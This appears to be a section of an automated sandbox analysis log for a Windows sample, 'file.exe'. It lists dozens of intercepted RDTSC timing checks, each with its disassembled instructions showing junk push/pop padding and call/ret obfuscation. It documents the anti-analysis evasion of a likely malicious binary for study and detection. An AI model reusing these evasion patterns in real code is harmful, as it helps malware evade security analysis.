Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A071E second address: 9A0775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 647CAD3Fh 0x0000000e sub cx, 0E59h 0x00000013 push 00000003h 0x00000015 mov ch, bl 0x00000017 push 00000000h 0x00000019 jmp 00007F7F147AEA4Eh 0x0000001e or dword ptr [ebp+122D35E9h], edi 0x00000024 push 00000003h 0x00000026 jmp 00007F7F147AEA4Dh 0x0000002b pushad 0x0000002c mov dword ptr [ebp+122D2B54h], edx 0x00000032 push eax 0x00000033 mov dword ptr [ebp+122D28EFh], ebx 0x00000039 pop ebx 0x0000003a popad 0x0000003b push 722811A0h 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 pop eax 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0775 second address: 9A0779 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0779 second address: 9A077F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A077F second address: 9A07CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 4DD7EE60h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F7F1511CE28h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b add dword ptr [ebp+122D1B1Fh], edx 0x00000031 lea ebx, dword ptr [ebp+124525D2h] 0x00000037 or di, 9750h 0x0000003c push eax 0x0000003d pushad 0x0000003e jc 00007F7F1511CE2Ch 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0911 second address: 9A0915 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0915 second address: 9A0976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7F1511CE2Fh 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F7F1511CE34h 0x00000015 mov eax, dword ptr [eax] 0x00000017 jg 00007F7F1511CE30h 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push edx 0x00000024 jmp 00007F7F1511CE39h 0x00000029 pop edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0976 second address: 9A097B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A097B second address: 9A0993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 movzx edx, si 0x0000000b lea ebx, dword ptr [ebp+124525DBh] 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pushad 0x00000016 popad 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0993 second address: 9A0999 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0999 second address: 9A099D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A09FD second address: 9A0A76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F7F147AEA57h 0x0000000f nop 0x00000010 cld 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F7F147AEA48h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d jp 00007F7F147AEA49h 0x00000033 push D75099D8h 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F7F147AEA4Bh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0B2F second address: 9A0B84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1511CE2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F7F1511CE2Ch 0x0000000f jo 00007F7F1511CE26h 0x00000015 popad 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a jmp 00007F7F1511CE39h 0x0000001f mov eax, dword ptr [eax] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 jmp 00007F7F1511CE31h 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0B84 second address: 9A0BAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7F147AEA4Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0BAB second address: 9A0C05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1511CE2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F7F1511CE28h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 jmp 00007F7F1511CE2Bh 0x00000029 lea ebx, dword ptr [ebp+124525E6h] 0x0000002f sbb si, E0C2h 0x00000034 xchg eax, ebx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F7F1511CE2Ch 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE59F second address: 9BE5A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE5A8 second address: 9BE5B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7F1511CE26h 0x0000000a ja 00007F7F1511CE26h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE5B9 second address: 9BE5CB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7F147AEA4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE5CB second address: 9BE5D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE5D1 second address: 9BE5D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE74B second address: 9BE74F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE74F second address: 9BE75E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F7F147AEA46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE75E second address: 9BE772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jp 00007F7F1511CE26h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE916 second address: 9BE96C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F7F147AEA53h 0x00000010 jp 00007F7F147AEA48h 0x00000016 push edi 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007F7F147AEA58h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE96C second address: 9BE972 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BED6C second address: 9BED72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BED72 second address: 9BED80 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7F1511CE28h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BED80 second address: 9BED84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF1AF second address: 9BF1B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B7200 second address: 9B720B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F7F147AEA46h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B720B second address: 9B7214 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF322 second address: 9BF33C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F7F147AEA55h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF33C second address: 9BF353 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F1511CE30h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF353 second address: 9BF360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF360 second address: 9BF366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF366 second address: 9BF375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF375 second address: 9BF37F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7F1511CE26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF9B8 second address: 9BF9BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF9BE second address: 9BF9C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF9C4 second address: 9BF9C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF9C9 second address: 9BF9CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF9CF second address: 9BF9ED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F7F147AEA55h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BF9ED second address: 9BFA1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jc 00007F7F1511CE26h 0x00000012 jo 00007F7F1511CE26h 0x00000018 popad 0x00000019 jmp 00007F7F1511CE39h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFA1F second address: 9BFA3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7F147AEA58h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFBB4 second address: 9BFBBA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFE8A second address: 9BFE90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFE90 second address: 9BFEA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jnp 00007F7F1511CE26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFEA0 second address: 9BFEA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFEA6 second address: 9BFEAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFEAC second address: 9BFEB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BFEB2 second address: 9BFEB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C01BE second address: 9C01C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C58C2 second address: 9C58D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7F1511CE2Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C7D4C second address: 9C7D51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8195 second address: 9C819A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC577 second address: 9CC582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F7F147AEA46h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC582 second address: 9CC58E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jo 00007F7F1511CE26h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC58E second address: 9CC594 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC720 second address: 9CC728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CC728 second address: 9CC72D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD133 second address: 9CD139 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD208 second address: 9CD20D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD20D second address: 9CD271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007F7F1511CE2Fh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push ecx 0x00000015 jmp 00007F7F1511CE38h 0x0000001a pop ecx 0x0000001b pop eax 0x0000001c call 00007F7F1511CE2Ah 0x00000021 add di, 37CFh 0x00000026 pop edi 0x00000027 push C4C28538h 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F7F1511CE32h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD271 second address: 9CD27B instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7F147AEA46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD27B second address: 9CD281 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD59E second address: 9CD5A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD842 second address: 9CD847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDCC4 second address: 9CDCC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDCC8 second address: 9CDCCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE1B9 second address: 9CE1BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE27A second address: 9CE284 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7F1511CE26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE284 second address: 9CE289 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE289 second address: 9CE2A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F7F1511CE30h 0x00000010 jmp 00007F7F1511CE2Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE749 second address: 9CE759 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 je 00007F7F147AEA4Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF183 second address: 9CF187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF22F second address: 9CF234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF234 second address: 9CF24A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7F1511CE28h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edi 0x0000000e jl 00007F7F1511CE2Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0DA0 second address: 9D0DAA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7F147AEA46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2243 second address: 9D226C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F7F1511CE31h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7F1511CE2Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1F35 second address: 9D1F39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2D3B second address: 9D2D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2D3F second address: 9D2D45 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2D45 second address: 9D2D5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7F1511CE36h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2D5F second address: 9D2DD5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b xor dword ptr [ebp+122D28F6h], ecx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F7F147AEA48h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d jmp 00007F7F147AEA51h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push esi 0x00000037 call 00007F7F147AEA48h 0x0000003c pop esi 0x0000003d mov dword ptr [esp+04h], esi 0x00000041 add dword ptr [esp+04h], 00000018h 0x00000049 inc esi 0x0000004a push esi 0x0000004b ret 0x0000004c pop esi 0x0000004d ret 0x0000004e xor dword ptr [ebp+122D1CB9h], ebx 0x00000054 push eax 0x00000055 push esi 0x00000056 pushad 0x00000057 push ebx 0x00000058 pop ebx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D38D3 second address: 9D38DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D38DC second address: 9D38EE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7F147AEA46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D38EE second address: 9D38F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D38F2 second address: 9D38F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
